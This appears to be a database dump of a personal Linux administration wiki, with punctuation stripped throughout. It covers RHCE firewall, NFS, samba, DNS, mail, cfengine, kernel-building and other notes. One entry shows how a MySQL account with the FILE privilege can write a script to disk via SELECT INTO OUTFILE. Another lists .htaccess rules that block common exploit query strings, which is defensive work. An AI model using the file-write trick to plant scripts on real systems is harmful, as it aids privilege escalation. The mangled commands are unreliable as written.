2010 filter input accept 899 98116 forward accept 0 0 output accept 553 82445 class-rules - 0 0 -a input -j class-rules -a class-rules -i lo -j accept -a class-rules -p icmp -j accept -a class-rules -p udp --dport 631 -j accept -a class-rules -p tcp --dport 631 -j accept -a class-rules -m state --state established related -j accept -a class-rules -p tcp --dport 22 -s 192 168 0 0 24 -j accept -a class-rules -p udp --dport 69 -j accept -a class-rules -j log -a class-rules -j reject --reject-with icmp-host-prohibited commit # completed on wed feb 10 13 47 00 2010 tcp wrappers tcp wrappers tcp wrappers determining if application supports libwrap if the binary is dynamically linked root server19 # ldd which sendmail grep libwrap libwrap so 0 lib libwrap so 0 0x00dff000 if it is statically linked root server19 # strings which portmap grep hosts hosts_access_verbose hosts_allow_table hosts_deny_table etc hosts allow etc hosts deny  hosts allow hosts deny  etc hosts allow and etc hosts deny notes daemon_list client_list daemon_list - refers to the actual binary name not the service name - e g in tftp for the service tftp host specification use dotted quad netmask not cidr notation apache & squid apache & squid apache & squid root server19 html # semanage fcontext -l grep http root server19 html # getsebool -a grep http the bools listed above are defined in root server19 html # man -k selinux grep http httpd_selinux 8 - security enhanced linux policy for the httpd daemon vim etc squid squid conf set the http_access rules that call the acls # insert your own rule s here to allow access from your clients http_access deny otherguys http_access allow example # put the deny first define the acls #recommended minimum configuration acl connect method connect acl example src 192 168 0 0 24 acl otherguys dstdomain yahoo com acl otherguys dstdomain hotmail com bind nameserver bind nameserver bind nameserver default named conf comes with caching-nameserver package also install bind-chroot and set it up by running bind-chroot-admin -e then edit the named conf in var named chroot etc named conf or to use the non-chaching version of the sample named conf root server19 named # cp usr share doc bind-9 3 6 sample etc named conf var named chroot etc for class test need to add options forwarders 192 168 0 254; ; forward only; to flush the cache rndc flush service named configtest network file sharing network file sharing network file sharing  vsftp  configure the firewall with additional support for tracking ftp connections and allow connections to the ftp server 1 open etc sysconfig iptables-config in a text editor and modify the line iptables_modules to include ip_conntrack_ftp and ip_nat_ftp save your changes 2 open etc sysconfig iptables in a text editor and add the following line below the established related line -a class-rules -m state --state new -p tcp --dport 21 -j accept 3 save the file and reload the firewall root serverx # service iptables restart  nfs  uses portmap which is statically compiled against tcp wrappers so you can manganage ro sync root_squash root squash is enabled by default disable with no_root_squash option never use this etc init d netfs handles fstab mounts etc sysconfig nfs has ports for the various deamons etc exports example seen man 5 exports home nfstest example com rw sync root_squash nfs users and acls you can create the same username and uid on server and client then set an acl on the client directory being exported such as setfacl -m u nfstest rwx common callandor # getfacl common getfacl removing leading \' \' from absolute path names # file common # owner root # group nfstest user rwx user nfstest rwx group --- mask rwx other --- with this only the nfstest user will be able to access the directory and create files normally this user and uid would be handled via nis ldap etc  virtualbox notes   if using ip masquerading or nat in virtualbox you may need to specify the insecure option which will allow port 1024 to be used you can also try to use port forwarding using the vboxmanage utility described http www linuxjournal com content tech-tip-port-forwarding-virtualbox-vboxmanage here or just use host only networking rather than nat which should allow the virtual guest to mount nfs shares okay on the host additional information on networking and nfs from withing virtualbox see this https vb serverknecht de showthread php t 163127 article  ports  portmap uses 111 mountd statd lockd and rquotad can all be forced to use a static port in etc sysconfig nfs but then require various ports to be manually opened testing shares rpcinfo -p instructor example com showmount -e instructor example com locally exportfs -v  samba  ports 137 udp 138 udp 139 tcp 445 tcp system-config-samba samba-swat back up the config samba-swat will nuke it use testparm to check config of etc samba smb conf etc samba passdb tdb updated by smbpasswd -a user this will use an existing user account but create a completely separate smb password smbclient hostname share se linux ensure the directory and it it\'s parents have the needed contexts root server19 smbfiles # chcon -r -t samba_share_t shared smbfiles user_u object_r samba_share_t shared set nfs passwords for a group of users root server19 home # for user in karl joe mary jen root student;do echo adding user user to smbpassw file; smbpasswd -a user ; done search to find out what a bool does root server19 home # sesearch --allow -s smbd_t -c file -b allow_smbd_anon_write found 1 av rules allow smbd_t public_content_rw_t file ioctl read write create getattr setattr lock append unlink link rename ; check your config testparm mta config mta config mta config choosing your mta ls -l etc alternatives system-switch-mail alternatives script  postfix  etc postfix main cf postconf allows editing settings directly set inet_inerfaces all to listend on port 25 tcp on all ips set mydestingation perhaps set to myhostname set mynetworks 127 0 0 0 8 192 168 0 0 24 myorigin example com create and mx record to point mail to your server  troubleshooting  postqueue -p #displays status postqueue -f #flush attempt immediate deliver var log maillog etc aliases defines aliases must be hashed into etc aliases db format this is done by running newaliases or you can restart the mail service  dovecot  110 tcp pop3 995 tcp pop3s 143 tcp imap 993 tcp impas procmail openssl make -c etc pki tls certs dovecot pem mutt -f pop imap user server port '),(264,'rhce class named conf',' root server19 # cat var named chroot etc named conf named caching-nameserver conf provided by red hat caching-nameserver package to configure the isc bind named 8 dns server as a caching only nameserver as a localhost dns resolver only see usr share doc bind sample for example named configuration files do not edit this file - use system-config-bind or an editor to create named conf - edits to this file will be lost on caching-nameserver package upgrade options forwarders 192 168 0 254; ; forward only; listen-on port 53 any; ; listen-on-v6 port 53 any; ; directory var named ; dump-file var named data cache_dump db ; statistics-file var named data named_stats txt ; memstatistics-file var named data named_mem_stats txt ; those options should be used carefully because they disable port randomization query-source port 53; query-source-v6 port 53; allow-query any; ; allow-query-cache any; ; ; logging channel default_debug file data named run ; severity dynamic; ; ; view public recursion yes; #include etc named rfc1912 zones ; zone example com in type slave; masters 192 168 0 254; ; file slaves example com zone ; forwarders ; ; ; '),(265,'pdflush tunables',' pdflush tunables this is a sneaky one that come up from time to time sometimes you will see messages showing up in var log messages or var log kern log indicating issues with the hard drive getting exceptions and resetting something like 176710 082557 ata5 01 exception emask 0x0 sact 0x0 serr 0x0 action 0x6 frozen 176710 082574 ata5 01 cmd a0 00 00 00 00 00 00 00 00 00 00 b0 tag 0 176710 082576 cdb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 176710 082578 res 40 00 02 00 08 00 00 00 00 00 00 a0 emask 0x4 timeout 176710 082581 ata5 01 status drdy 176710 082603 ata5 soft resetting link or maybe sep 16 00 13 18 srv01 kernel 38923 847153 ata3 soft resetting link sep 16 00 13 18 srv01 kernel 38924 019129 ata3 00 configured for udma 100 sep 16 00 13 18 srv01 kernel 38924 019145 ata3 eh complete sep 16 00 13 18 srv01 kernel 38924 039830 sd 2 0 0 0 sdb 234493056 512-byte hardware sectors 120060 mb you can think it is a bad drive controller etc and wast a lot of time on this however it is possible this is just related to either a kernel bug or a matter of tuning a few page cache settings for example see also there is some useful information in comment 12 of this https bugs launchpad net ubuntu bug 270794 launchpad bug which recommends setting a few pdflush tunables in etc sysctl conf vm dirty_writeback_centisecs 200 vm dirty_expire_centisecs 400 you can also see change these values in proc as well #cat proc sys vm dirty_ _centisecs for additional information on these values and how clearing the memory cache works see http hi baidu com pkubuntu blog item d7413c01c8747b0b7bec2c9e html this article other reasons other reasons other reasons you can also try specifying libata force noncq as a kernel boot argument to see if that corrects the issue as suggest in this kernel trap http kerneltrap org mailarchive linux-kernel 2008 9 23 3387114 thread also for hard freezes you might find http www gossamer-threads com lists linux kernel 968016 this thread helpful of course the above does not preclude a bad drive and using smartctl hdparm bonnie and other tools is  always  a good idea and they should also be used when investigating drive error messages '),(266,'suse ldap server setup',' setting up an ldap server in suse is pretty straight forward you can then easily export home directories via nfs and set up the automouter on clients to auto mount ldap user home directories only when needed rather than mounting all of them on every client that connects  ldap server instruction  install the server and make the ous and users gui more basic setup info configure suse ldap client lots o\' additional suse ldap documentation  nfs exports  just install the nfs server export home exports in your etc exports this assumes you set the home directory of ldap users to home export callandor # cat etc exports home remote rw root_squash  autofs  client side configure the ldap client as above once you can authenticate then configure autofs to locally mount the nfs shared home user folder on demand simply install autofs and configure etc auto master and etc auto home add this line to etc auto master and create etc auto home containing '),(267,'powerpc linux distros',' many popular distros support the powerpc architecture so if you have an older mac g3 g4 g5 or a playstation you have a number of options for a full list see http penguinppc org about distributions php penguinppc  yellow dog linux  excellent site with long standing support for older mac hardware good tips for boot issues with macs openfirmware tips etc  ubuntu   debian  although sarge is referred to on that page lenny for ppc is available for download booting the installer on ppc  suse  11 1 is the last distro to support ppc g4 quicksilver g4 quicksilver g4 quicksilver network booting the install files note you can also place the files on a local dist and boot the kernel from openfirmware also if you have an external usb you can usually boot to it from open firmware '),(268,'openssh tricks','  frozen ssh session   end the connection and return to the parent shell with enter that is enter then tilda then period '),(269,'squid cache',' http wiki squid-cache org squidfaq squidlogs#squid_result_codes result codes are handy to have the faq is http wiki squid-cache org squidfaq here basic setup and config basic setup and config basic setup and config general centos setup guide official config guide and another general setup guide here how to do stuff in squid how to do stuff in squid how to do stuff in squid how can i make squid not cache some servers or urls from squid-2 6 you use the cache option to specify uncachable requests and any exceptions to your cachable rules for example this makes all responses from origin servers in the 10 0 1 0 24 network uncachable acl localnet dst 10 0 1 0 24 cache deny localnet this example makes all url url\'s with \' html\' uncachable acl html url_regex html cache deny html this example makes a specific url uncachable acl xyzzy url_regex cache deny xyzzy this example caches nothing between the hours of 8am to 11am acl morning time 08 00-11 00 cache deny morning squid tweaks squid tweaks squid tweaks x-forward-for how to make squid not cache a page or server is covered http wiki squid-cache org squidfaq operatingsquid#how_can_i_make_squid_not_cache_some_servers_or_urls 3f here other resources other resources other resources another very hand fact with some examples is http www bec at support squid users-guide x922 html here print only timing information using the squid client cache1 usr local squid bin client -g 0 -h www squid-cache com -p 80 '),(270,'cfengine installation',' install caveats test servers 208 38 164 20 -21 when trying to follow the tutorial at the steps result in an error missing failsafe cf as the config files have not yet been copied over and running with only an empty promises cf will not work when installing from the rpm the basic cf files you need to get rolling are not located where the cf3 tutorial says they are perhaps the guide assumes the tar gz version was used cf-s tutorial states host# mkdir -p var cfengine masterfiles host# cp usr local share cfengine cf var cfengine masterfiles in the rpm version you will fine the base config files named unit_blah cf in cp usr local share doc cfengine cf var cfengine masterfiles once these are copied over then copy over the basic input files cp usr local share doc cfengine inputs var cfengine inputs this will copy over the follwoing failsafe cf library cf promises cf site cf update cf once you run cf-agent -v it will look at the bundle which in this case contains a promise to update so when run it will pull the files from the policy distribution point var cfengine masterfiles into the inputs directory adding the 180 files you previous copied into the masterfiles directory starting cfengine starting cfengine starting cfengine binaries will be in var cfengine bin and and init script to start the service will be available etc init d cfengine3 netstat should show the server running on port 5308 tcp 0 0 5308 listen 1871 cf-serverd first promises first promises first promises root cfengine inputs # cf-agent -f testroot cf -i can\'t stat file var cfengine inputs cfengine_stdlib cf for parsing system error for stat no such file or directory cf-agent was not able to get confirmation of promises from cf-promises so going to failsafe as the standard library file was not found it consults failsafe cf which then runs update cf now run the test promise bundle root cfengine inputs # cf-agent -f testroot cf -i - setting field sub-value xyajd673j ajhfu in tmp shadow - edited field inside file object tmp shadow - saving edit changes to file tmp shadow  cf-promise  you can validate the sytax of a promise with cf-promise cf-promises -f test cf also use cf-promise -v for a report showing hard classes cfengine client cfengine client cfengine client run an update paracelsus callandor downloads var wscfengine bin cfagent -v get info paracelsus callandor downloads usr wscfengine sbin cfshow -v last seen paracelsus callandor downloads sudo usr wscfengine sbin cfshow -s ip skynet1 someplace com 10 20 30 40 tue sep 14 08 18 not seen for 0 13 hrs av 0 22 - 0 50 hrs vim highlighting vim highlighting vim highlighting there are a couple vim syntax files available for cfengine here is a newer one for cf3 and there is another one older but still looks pretty good place them into your vim syntax directory maybe something like usr share vim vim70 syntax enable it in vim with syntax enable or if that does not do the trick source vimruntime syntax cf3 vim you can add this to etc vimrc to have in enabled automatically source vimruntime syntax cf3 vim read more about vim syntax highlighting and configuration http vimdoc sourceforge net htmldoc syntax html here all about promises all about promises all about promises additional cf engine sites additional cf engine sites additional cf engine sites '),(271,'sydney notebook specs',' information on the intel core i3 and i5 architecture various tiger direct notbooks including some i3 and i5 ones acer aspire a180-15651 and a180-15652 - these both have hdmi bluetooth 15 6 inch widescreen crystalclear ddr3 1066 4gb 8gb max 2 slots 6 cell battery 4 hours 6 16 pounds the 128mb intel graphics media accelerator hd is enough for cs4 per and also see amds  cs4 and linux  '),(272,'curl notes and tricks',' super great intro to curl is note that you need to specify the returntransfer option to get the full results returned rather than a simple bool value a complete example would be php curl curl_init ; curl_setopt curl curlopt_url ; curl_setopt curl curlopt_returntransfer 1 ; result curl_exec curl ; curl_close curl ; print result; a good article on http scripting with curl can be found here another article with additional info on curl options is here '),(273,'applied ethics',' chapter6 non-consequential ethical theories socrates morality laws rules standards of conduct etc ethics study of morality '),(274,'twitcurl library',' here is just a big old mess of notes on what i did to get this to compile - before learning there is a makefile in the branches svn tree paracelsus anduril twitcurl-read-only gcc -o twitcurl twitcurl cpp paracelsus anduril twitcurl-read-only gcc -o twitcurl twitcurl cpp in file included from twitcurl h 5 from twitcurl cpp 1 curl curl h 35 61 error curl curlbuild h no such file or directory in file included from curl curl h 36 from twitcurl h 5 from twitcurl cpp 1 curl curlrules h 80 4 error #error curl_sizeof_long definition is missing curl curlrules h 85 4 error #error curl_typeof_curl_off_t definition is missing curl curlrules h 90 4 error #error curl_format_curl_off_t definition is missing curl curlrules h 95 4 error #error curl_format_curl_off_tu definition is missing curl curlrules h 100 4 error #error curl_format_off_t definition is missing curl curlrules h 105 4 error #error curl_sizeof_curl_off_t definition is missing curl curlrules h 110 4 error #error curl_suffix_curl_off_t definition is missing curl curlrules h 115 4 error #error curl_suffix_curl_off_tu definition is missing in file included from curl curl h 36 from twitcurl h 5 from twitcurl cpp 1 curl curlrules h 81 error u8e28098erroru8e28099 does not name a type curl curlrules h 144 error u8e28098curl_off_tu8e28099 was not declared in this scope curl curlrules h 144 error u8e28098curl_sizeof_curl_off_tu8e28099 was not declared in this scope curl curlrules h 154 error u8e28098curl_off_tu8e28099 was not declared in this scope in file included from twitcurl h 5 from twitcurl cpp 1 curl curl h 196 error u8e28098curl_off_tu8e28099 has not been declared twitcurl cpp in member function u8e28098void twitcurl clearcurlcallbackbuffers u8e28099 twitcurl cpp 1335 error u8e28098memsetu8e28099 was not declared in this scope paracelsus anduril twitcurl-read-only gcc -i home paracelsus twitcurl-read-only -o twitcurl twitcurl cpp twitcurl cpp in member function u8e28098void twitcurl clearcurlcallbackbuffers u8e28099 twitcurl cpp 1335 error u8e28098memsetu8e28099 was not declared in this scope paracelsus anduril twitcurl-read-only vim 1335 twitcurl cpp link erros paracelsus anduril twitcurl-read-only g -i home paracelsus twitcurl-read-only -o twitcurl twitcurl cpp usr lib gcc i486-linux-gnu 4 4 1 lib crt1 o in function _start\' build buildd eglibc-2 10 1 csu sysdeps i386 elf start s 115 undefined reference to main\' tmp ccms7q19 o in function twitcurl twitcurl \' twitcurl cpp text 0x26e undefined reference to curl_easy_init\' tmp ccms7q19 o in function twitcurl twitcurl \' twitcurl cpp text 0x628 undefined reference to curl_easy_init\' tmp ccms7q19 o in function twitcurl twitcurl \' twitcurl cpp text 0x78e undefined reference to curl_easy_cleanup\' tmp ccms7q19 o in function twitcurl twitcurl \' twitcurl cpp text 0x8f4 undefined reference to curl_easy_cleanup\' tmp ccms7q19 o in function twitcurl preparecurlproxy \' twitcurl cpp text 0x2a68 undefined reference to curl_easy_setopt\' twitcurl cpp text 0x2a85 undefined reference to curl_easy_setopt\' twitcurl cpp text 0x2b96 undefined reference to curl_easy_setopt\' twitcurl cpp text 0x2bba undefined reference to curl_easy_setopt\' twitcurl cpp text 0x2bd7 undefined reference to curl_easy_setopt\' need to tell linker to user curl http curl haxx se mail lib-2009-08 0286 html sudo apt-get install libcurl4-gnutls-dev paracelsus anduril twitcurl-read-only g -lcurl -i home paracelsus twitcurl-read-only -o twitcurl twitcurl cpp usr lib gcc i486-linux-gnu 4 4 1 lib crt1 o in function _start\' build buildd eglibc-2 10 1 csu sysdeps i386 elf start s 115 undefined reference to main\' collect2 ld returned 1 exit status eglibc problem sudo apt-get install eglibc-source http curl haxx se cvs cgi curl include curl curl h r1 1 392&r2 1 393 g -shared -wl -soname lib-blah so 1 -lcurl -i home paracelsus twitcurl-read-only -o twitcurl so 1 0 twitcurl cpp '),(275,'opensolaris aspire grub settings',' i have the kernel and initrd for my ubuntu linux distro on an sd card on my primary sdd which runs solaris this way i boot the kernel and initrd off the hard drive then point the root directory to the cd card the initrd has the drivers added into it for supporting the sd slots and thus must be booted from the hard drive first script to perform solaris post install config steps including downloading the kernel and initrd is at vegablue solarisnetbook cat rpool boot grub menu lst splashimage boot grub splash xpm gz background 215eca timeout 30 default 0 title ubuntu sd card2 #uuid 9b4f86a4-efa7-4a00-83c4-705c7d0b3a19 findroot pool_rpool 0 a kernel boot vmlinuz-2 6 27-8-eeepc ro root uuid c06eb7aa-5cc1-4045-8fec-ed4af16fef15 vga 0x311 loglevel 1 console tty1 initrd boot initrd img-2 6 27-8-eeepc quiet #---------- added by bootadm - do not edit ---------- title korona 0 0 1 findroot pool_rpool 0 a bootfs rpool root opensolaris splashimage boot solaris xpm foreground d25f00 background 115d93 kernel platform i86pc kernel isadir unix -b zfs-bootfs console graphics module platform i86pc isadir boot_archive #---------------------end bootadm------------------ title xvm findroot pool_rpool 0 a bootfs rpool root opensolaris splashimage boot solaris xpm foreground d25f00 background 115d93 kernel platform i86pv kernel isadir unix -b zfs-bootfs console graphics module platform i86pc isadir boot_archive # '),(276,'creating files with mysql',' inspired from an article in linux pro magazine sept 2009 breaking in the following little experiment may be of interest if you have access as a mysql user you may be able to create files with arbitrary content this is not really a hack so much as a documented feature of the select command and the mysql security scheme addresses this however it does illustrate how an unsecured mysql account can easily be used to gain further access on a system and how often have you seen a mysql instance with no root password set exactly this requires that the mysql user be granted the global file privilege though so you will likely have to set this permission as the root mysql user or use the root mysql account directly the point however is that if this can be accomplished you may be able to create a script in any directory which mysql can right to tmp var lib mysql etc and of course if mysql is running as root then you could theoretically create a script anywhere of course users have a silly habit of making odd directories 777 as well the required mysql user permissions would be something like mysql show grants; -------------------------------------------------------------- grants for paracelsus localhost -------------------------------------------------------------- grant file on to \'paracelsus \'localhost\' grant all privileges on hack to \'paracelsus \'localhost\' -------------------------------------------------------------- 2 rows in set 0 00 sec note the file permissions is a global and not specific to any database you could then do something such as mysql create database hack; query ok 1 row affected 0 00 sec mysql create table hack scripts contents text not null engine myiasm; mysql insert into hack scripts contents values \'# bin bash n hello there my pretty \' ; mysql select into outfile tmp bad sh from scripts where 1; query ok 1 row affected 0 01 sec if you want to insert special characters into the script you may need to play around with fields escaped by in the insert as described here and discussed select into outfile tmp bad sh fields escaped by from scripts where 1; '),(277,'debugging kde applications',' sample to determine what debug libraries are needed to get debugging symbols a thread on how to install plasma debug symbols and be found here paracelsus anduril which konsole usr bin konsole paracelsus anduril dpkg -s usr bin konsole package usr bin konsole\' is not installed and no info is available use dpkg --info dpkg-deb --info to examine archive files and dpkg --contents dpkg-deb --contents to list their contents paracelsus anduril dpkg -s usr bin konsole konsole usr bin konsole paracelsus anduril dpkg -s konsole package konsole status install ok installed priority optional section kde installed-size 1396 maintainer kubuntu developers architecture i386 source kdebase version 4 4 3 2-0ubuntu3 replaces konsole-kde4 provides x-terminal-emulator depends kdebase-runtime 4 4 3 2 kdelibs5 4 4 3 2 libc6 2 4 libqt4-dbus 4 5 1 libqtcore4 4 5 1 libqtgui4 4 5 1 libstdc 6 4 4 0 libx11-6 libxrender1 conflicts konsole-kde4 description x terminal emulator for kde 4 konsole is the kde 4 terminal emulator it can contain multiple terminal sessions inside one window using detachable tabs konsole supports powerful terminal features such as customizable schemes saved sessions and output monitoring this package is part of the kde 4 base applications module homepage original-maintainer debian qt kde maintainers paracelsus anduril sudo apt-get install kdelibs5-dbg kdebase-dbg libx11-6-dbg libxrender1-dbg reading package lists done building dependency tree reading state information done the following extra packages will be installed kdebase-runtime-dbg kdepimlibs-dbg libqt4-dbg the following new packages will be installed kdebase-dbg kdebase-runtime-dbg kdelibs5-dbg kdepimlibs-dbg libqt4-dbg libx11-6-dbg libxrender1-dbg 0 upgraded 7 newly installed 0 to remove and 7 not upgraded need to get 136mb of archives after this operation 707mb of additional disk space will be used do you want to continue y n now run the application in gdb gnu gdb gdb 7 0-ubuntu copyright c 2009 free software foundation inc license gplv3 gnu gpl version 3 or later this is free software you are free to change and redistribute it there is no warranty to the extent permitted by law type show copying and show warranty for details this gdb was configured as i486-linux-gnu for bug reporting instructions please see reading symbols from usr bin konsole reading symbols from usr lib debug usr bin konsole done no debugging symbols found done '),(278,'steampunk sites',' massive index of various sites really cool cg animations from this contest steampunk places in second life '),(279,'gnaural binaural audio',' the home page for gnaural will get you started and you can get some sample sound files here '),(280,'apache vhost stuff','  debian  setting up ssl and vhosts in debian is described in the following articles debian use a2 commands to enable and disable sites and apache modules '),(281,'nvidia suse config',' nvidia-xcongig --composite nvidia-xconfig --render-accel nividia-xconfig --add-argb-glx-visuals d24 # nvidia-xconfig x configuration file generated by nvidia-xconfig # nvidia-xconfig version 1 0 buildmeister builder63 mon mar 2 12 45 55 pst 2009 # # sax generated x11 config file # created on 2009-03-12t18 34 23-0400 # # version 8 1 # contact marcus schaefer 2005 # contact sax-user list # # automatically generated by isax 8 1 # please do not edit this file # section serverlayout identifier layout all screen screen 0 0 0 inputdevice keyboard 0 corekeyboard inputdevice mouse 1 corepointer option clone off option xinerama off endsection section files inputdevices dev gpmdata inputdevices dev input mice fontpath usr share fonts misc unscaled fontpath usr share fonts local fontpath usr share fonts 75dpi unscaled fontpath usr share fonts 100dpi unscaled fontpath usr share fonts type1 fontpath usr share fonts urw fontpath usr share fonts speedo fontpath usr share fonts pex fontpath usr share fonts cyrillic fontpath usr share fonts latin2 misc unscaled fontpath usr share fonts latin2 75dpi unscaled fontpath usr share fonts latin2 100dpi unscaled fontpath usr share fonts latin2 type1 fontpath usr share fonts latin7 75dpi unscaled fontpath usr share fonts baekmuk unscaled fontpath usr share fonts japanese unscaled fontpath usr share fonts kwintv fontpath usr share fonts truetype fontpath usr share fonts uni unscaled fontpath usr share fonts cid fontpath usr share fonts ucs misc unscaled fontpath usr share fonts ucs 75dpi unscaled fontpath usr share fonts ucs 100dpi unscaled fontpath usr share fonts hellas misc unscaled fontpath usr share fonts hellas 75dpi unscaled fontpath usr share fonts hellas 100dpi unscaled fontpath usr share fonts hellas type1 fontpath usr share fonts misc sgi unscaled fontpath usr share fonts xtest fontpath opt kde3 share fonts endsection section module load freetype load glx load dbe load extmod endsection section serverflags option allowmouseopenfail on option zapwarning on endsection section inputdevice identifier keyboard 0 driver kbd option protocol standard option xkblayout us option xkbmodel microsoftpro option xkbrules xfree86 endsection section inputdevice identifier mouse 1 driver mouse option buttons 5 option device dev input mice option name logitech trackman wheel option protocol explorerps 2 option vendor sysp option zaxismapping 4 5 endsection section modes identifier modes 0 endsection section monitor identifier monitor 0 vendorname nec modelname multisync xv17 -2 usemodes modes 0 displaysize 491 276 horizsync 31 0 - 83 0 vertrefresh 55 0 - 76 0 option calcalgorithm xserverpool option dpms option preferredmode 1680x1050 endsection section device #option rotate ccw identifier device 0 driver nvidia vendorname nvidia boardname geforce fx 5500 screen 0 endsection section screen identifier screen 0 device device 0 monitor monitor 0 defaultdepth 24 option randrrotation on option renderaccel true subsection display depth 15 modes 1680x1050 1600x1024 1600x1000 1400x1050 1600x900 1280x1024 1440x900 1280x960 1366x768 1360x768 1280x800 1152x864 1280x768 1280x720 1024x768 1280x600 1024x600 800x600 768x576 640x480 endsubsection subsection display depth 16 modes 1680x1050 1600x1024 1600x1000 1400x1050 1600x900 1280x1024 1440x900 1280x960 1366x768 1360x768 1280x800 1152x864 1280x768 1280x720 1024x768 1280x600 1024x600 800x600 768x576 640x480 endsubsection subsection display depth 24 modes 1680x1050 1600x1024 1600x1000 1400x1050 1600x900 1280x1024 1440x900 1280x960 1366x768 1360x768 1280x800 1152x864 1280x768 1280x720 1024x768 1280x600 1024x600 800x600 768x576 640x480 endsubsection subsection display depth 8 modes 1680x1050 1600x1024 1600x1000 1400x1050 1600x900 1280x1024 1440x900 1280x960 1366x768 1360x768 1280x800 1152x864 1280x768 1280x720 1024x768 1280x600 1024x600 800x600 768x576 640x480 endsubsection endsection section extensions option composite enable endsection '),(282,'opensolaris usb serial','  solaris usb to serial adapter  both of these single port usb to rs 232 adapters are supported per the solaris usb faq keyspan usa-19hs prolific pl-2303 additional ones are listed on the opensolaris hcl guc232a rs232 serial to usb converter '),(283,'nginx configuration',' a very basic linux journal article is here eventports on solaris for performance gain '),(284,'sydney sydney\'s powermac g5',' sn ym33885jnvr pc 3200 inside your g5 tech specs for this g5 2004 model apple part number 661-3144 powermac g5 2 0 processor version 2 dual configuration does this need a different board some places for parts the above had expanded view system diagrams etc '),(285,'android development',' getting started the android development tools when combined with eclipse allow you to run a virtual android device on your development system and quickly develop apps for it it is pretty easy to get it set up especially if you have used eclipse before the ability to develop and test the apps in a run-time virtual machine environment without needing an actual android phone is great and it is easier than you might think to get started if you know java that will help a lot but if you know c or even php you will likely be able to figure your way through you won\'t of course be able to test certain api calls in the virtual machine such as gps functions of course but you can still write them get setup with the android sdk and eclipse by following these steps then proceed with some tutorial action below a great place to start is the three part video series androidology by mike cleron on youtube many additional videos can be found at the developers youtube channel androiddevelopers development tutorials development tutorials development tutorials here is a five part series on getting stated with the android sdk and eclipse and making a simple app another tutorial at the official developer site and yet another ibm tutorial building an app with the sdk & eclipse application repositories application repositories application repositories  a few sample scuba apps   '),(286,'magnetic card stripes and readers',' which states use aamva standard drivers licenses wikipedia article including what information is stored on which tracks  projects   arduino project using omron v3a family  parts   zu-m2121s451 omron '),(287,'htaccess examples',' here are some examples to block out common exploits taken from this site ########## begin - rewrite rules to block out some common exploits # # block out any script trying to set a mosconfig value through the url rewritecond query_string mosconfig_ a-za-z_ 1 21 3d or # block out any script trying to base64_encode crap to send via url rewritecond query_string base64_encode or # block out any script that includes a tag in url rewritecond query_string 3c script 3e nc or # block out any script trying to set a php globals variable via url rewritecond query_string globals 0-9a-z 0 2 or # block out any script trying to modify a _request variable via url rewritecond query_string _request 0-9a-z 0 2 or # block out any script that tries to set config_ext com_extcal2 issue rewritecond query_string config_ext 20 5b nc or # block out any script that tries to set sbp or sb_authorname via url simpleboard rewritecond query_string sbp 20 3d or rewritecond query_string sb_authorname 20 3d # send all blocked request to homepage with 403 forbidden error rewriterule index php f l # ########## end - rewrite rules to block out some common exploits '),(288,'vulnerability testing',' some good sites listing vulnerabilities '),(289,'university of southern florida linux degree programm','  papers  softice wiki has elementary linux system admin labs elsa and plans to have advanced labs alsa in the future '),(290,'javapos development resources','  glue    javapos references    hardware   here is a discontinued cheap but possibly effective solution ingenico en-touch 1000 '),(291,'kernel compiling tips',' these are _very_ rough notes which i intend to someday turn into a useful howto there are many how to compile a kernel the distro of your choice way and these are usually great guides however there are steps which are sometimes not well explained or other aspects of compiling a kernel that i\'ve had trouble with and thus this page an example of a good general how to guide for centos can be found here you can also check out kernelnewbies org there is also a good guide on building software for linux not the kernel specifically here - great intro if this is all new to you it is a bit older now but has some good examples for troubleshooting build issues and for the other side of the coin an interesting guide to decompiling linux elf binaries can be found here  git  good guide for using git for kernel or other building   usr src linux symlink   missing assembly includes  when compiling an app against the kernel source tree you may get error that assembly files can not be located this can be due to a symlink being missing normally this symlink is created by running make prepare though i\'ve noticed that in 2 6 33 this is not the case and it must be manually created  patching  this might be obvious but i missed it when looking at the kernel versions to download at kernel org each kernel is listed on a line along with a patch that patch has already been applied to that kernel it is used to patch an earlier version to bring it up to that kernel version not to apply to that version directly thus attempting to patch linux-2 6 33 3 with patch- 6 33 3 bz2 results in all hunks failing as that patch should be used against a pre 2 6 33 kernel  multiple includes  if a file in being included twice or a redefinition of a struct occurs you will get compile errors if this occurs you can use include guards around the problematic bits as described here  have lots of space   building a kernel takes a few gigs of space - more if you are building it as an rpm when done if you no longer need it delete usr source packages build kernel-version as well as usr src packages rpms arch usr src packages srpms arch and of course the kernel source folder you compiled from this will free up several gigs vmlinux vs vmliuz vmlinux vs vmliuz vmlinux vs vmliuz run file on them and see new notes new notes new notes here are some good guides for compiling a kernel non-rpm method rpm method kernel head from suse build server and other good general advice general suse guide includes updating grub using yast tools etc complete suse guide pretty good mkinitrd boot initrd-2 6 0 img 2 6 0 note the syntax here mkinitrd -k vmlinux-version -i initrd-version very good general reference and mkinitrd reference  handy make options  cp proc config gz gunzip config gz cp config config or make cloneconfig make or make all _never as root_ good idea to run it as time make -j3 all make modules_install # installs modules into usr lib make loadmodconfig only builds modules you have loaded make install # installs kernel itself including entries in grub nice mkinitrd # whoa unto you should you forget to build your initrd - you still need to do this even if you did a build rpm - it does not do it automatically initrd initramfs initrd initramfs initrd initramfs currently loaded modules are built into the initrd you make also see etc modules '),(292,'389-ds ldap server','  install guides   cn directory manager  ssl info   installing sun java fedora    ldap info  ldap terminology for part of the directory hierarchy can be found here general ldap tutorial is here  ldap and ad sync   troubleshooting  trying to add users in dsgw on centos gives an error installed the newer version 1 2 6 a3 alpha 3 of ds-base from epel testing which did not resolve the issue installed the java console yum install idm-console-framework 389-console 389-ds-console xauth you can use this via x forwarding to manage the server  password reset  steps to reset the admin server password  php ldap authentication  php must be compiled for ldap support for cpanel this can usually be done in whm apache rebuild and also see example to search ldap using php ldap calls auth script that actually works compared to this fancier one which does not work yet example of script that authenticates against ldap locking account on unsuccessful logins general guide to using php with ldap code example that iterates entries from an ldap server can be found here  using zend framework   '),(293,'warcraft 3 on linux',' installing warcraft 3 roc on linux itself is fairly straight forward install the game with wine crossover games download the patch to 1 24e or later which disables the cd check add registry entries for custom graphics mode by importing a reg file using regedit containing regedit4 hkey_current_user software blizzard entertainment warcraft iii video refreshrate dword 00000032 resheight dword 000004b0 reswidth dword 00000780 add registry entry for opengl rendering hkey_current_user software blizzard entertainment warcraft iii with new dword value called gfx opengl with the value set to 1 or add -opengl to command line if needed rename the movies folder if you get a black screen after games starts movies can be watched with mplayer vlc etc  other useful sites   talks about need to patch for hosting patching wine for host capabilities crossover games compatibility page for frozen throne crossover games compatibility page for roc 